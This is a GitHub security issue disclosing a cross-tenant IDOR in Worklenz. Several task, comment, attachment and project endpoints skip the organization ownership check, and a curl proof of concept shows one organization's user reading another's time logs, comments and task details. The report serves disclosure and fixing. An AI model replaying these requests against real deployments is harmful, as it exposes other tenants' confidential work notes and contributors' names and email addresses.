Skip to content

Cross-Tenant IDOR -- Any Authenticated User Reads Another Organization's Task Data #396

Description

@geo-chen

User Request

reported on 4 June 2026 - no response: https://github.com/Worklenz/worklenz/security/advisories/GHSA-4rmm-mgg4-wxg5

Summary

Multiple task-level API endpoints accept a task UUID as a path or query
parameter and return data for that task without verifying that the requesting
user belongs to the owning organization. Any authenticated user, including
a member of a completely unrelated team, can supply another organization's
task UUID and read that task's name, description, time logs (with contributor
names and emails), comments, and project metrics. Three distinct endpoints are
confirmed vulnerable: GET /api/v1/task-time-log/task/:id, GET
/api/v1/task-comments/:id, and GET /api/v1/tasks/info.

Details

  1. Task time logs -- task-work-log-controller.ts, lines 27-78

    The getTimeLogs() helper at line 27 queries task_work_log with only
    WHERE task_id = $1. The caller getByTask() at line 71 passes
    req.params.id directly:

    private static async getTimeLogs(id: string, timeZone: string) {
      const q = `
        SELECT id, description, time_spent, ...
               (SELECT name  FROM users WHERE users.id = task_work_log.user_id) AS user_name,
               (SELECT email FROM users WHERE users.id = task_work_log.user_id) AS user_email,
        FROM task_work_log
        WHERE task_id = $1
      `;
      const result = await db.query(q, [id]);
      ...
    }
    public static async getByTask(req: IWorkLenzRequest, res: IWorkLenzResponse) {
      const results = await this.getTimeLogs(req.params.id, ...);
      ...
    }
    

    There is no join or subquery that restricts results to the caller's
    team_id. The route (task-work-log-api-router.ts) applies only
    idParamValidator (a UUID format check) with no ownership check.

  2. Task comments -- task-comments-controller.ts, lines 379-381

    The getByTaskId() handler calls getTaskComments(req.params.id) which
    queries task_comments WHERE task_id = $1 with no team scoping:

    public static async getByTaskId(req, res) {
      const result = await TaskCommentsController.getTaskComments(req.params.id);
      return res.status(200).send(new ServerResponse(true, result.rows));
    }
    

    The route /api/v1/task-comments/:id requires only a valid session.

  3. Task info (stored procedure) -- tasks-controller.ts, getById

    The handler calls get_task_form_view_model(_user_id, _team_id, _task_id, _project_id).
    Inside the stored procedure the task is fetched with:

    FROM tasks WHERE id = _task_id
    

    There is no predicate tying _task_id to _team_id. The team_id parameter
    is used only to populate the team_members list shown in the task form,
    not to gate access to the task itself. The route is
    GET /api/v1/tasks/info?task_id=.

Additional endpoints with the same pattern that return empty results when no
content exists but carry no access gate:

  • GET /api/v1/attachments/tasks/:id (attachment-controller.ts, get() at line 77)
  • GET /api/v1/project-insights/:id and /logs/:id, /last-updated/:id etc.
    (project-insights-controller.ts -- WHERE project_id = $1 only)
  • GET /api/v1/project-comments/project-comments/:id (WHERE pc.project_id = $1 only)

PoC

Pre-conditions:

  • User A is the owner of Organization A with project ID PROJECT_A and task ID
    TASK_A in that project.
  • User B is the owner of a completely separate Organization B with no
    relationship to Organization A.
  • Both users are authenticated; the only shared knowledge is TASK_A's UUID.

Step 1 -- User A logs in and creates a time log on task TASK_A:

curl -b "worklenz.sid=<COOKIE_A>" \
  -X POST "http://<host>/api/v1/task-time-log" \
  -H "Content-Type: application/json" \
  -d '{"id":"<TASK_A>","seconds_spent":3600,"description":"Confidential work note","formatted_start":"2026-06-04T09:00:00Z"}'

Step 2 -- User B (different organization) reads that time log:

curl -b "worklenz.sid=<COOKIE_B>" \
  "http://<host>/api/v1/task-time-log/task/<TASK_A>"

Observed response (User B's session, task belongs to Organization A):

{
  "done": true,
  "body": [
    {
      "id": "4687d148-...",
      "time_spent": "3600",
      "description": "Confidential work note",
      "user_name": "User Alpha",
      "user_email": "usera@example.com",
      ...
    }
  ]
}

Step 3 -- User A adds a task comment:

curl -b "worklenz.sid=<COOKIE_A>" \
  -X POST "http://<host>/api/v1/task-comments" \
  -H "Content-Type: application/json" \
  -d '{"task_id":"<TASK_A>","content":"Q3 budget discussion -- confidential","mentions":[]}'

Step 4 -- User B reads that comment:

curl -b "worklenz.sid=<COOKIE_B>" \
  "http://<host>/api/v1/task-comments/<TASK_A>"

Observed response contains the full comment content, author name, and user ID.

Step 5 -- User B reads task details:

curl -b "worklenz.sid=<COOKIE_B>" \
  "http://<host>/api/v1/tasks/info?task_id=<TASK_A>"

Observed response body includes task name, description, project ID, and
organization metadata.

All tests conducted against commit c4c3268 with backend image
chamikajaycey/worklenz-backend:2.1.6.

Why This Matters

Impact

Any authenticated user in a Worklenz instance -- regardless of organizational
affiliation -- can enumerate another organization's task content by supplying
task UUIDs. In a shared self-hosted deployment (e.g., a SaaS provider running
Worklenz for multiple clients), all tenant data is exposed to any tenant.
The leaked data includes work descriptions, time entries, contributor names and
email addresses, task names, task descriptions, and project identifiers.

Urgency (Initial Assessment)

None

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions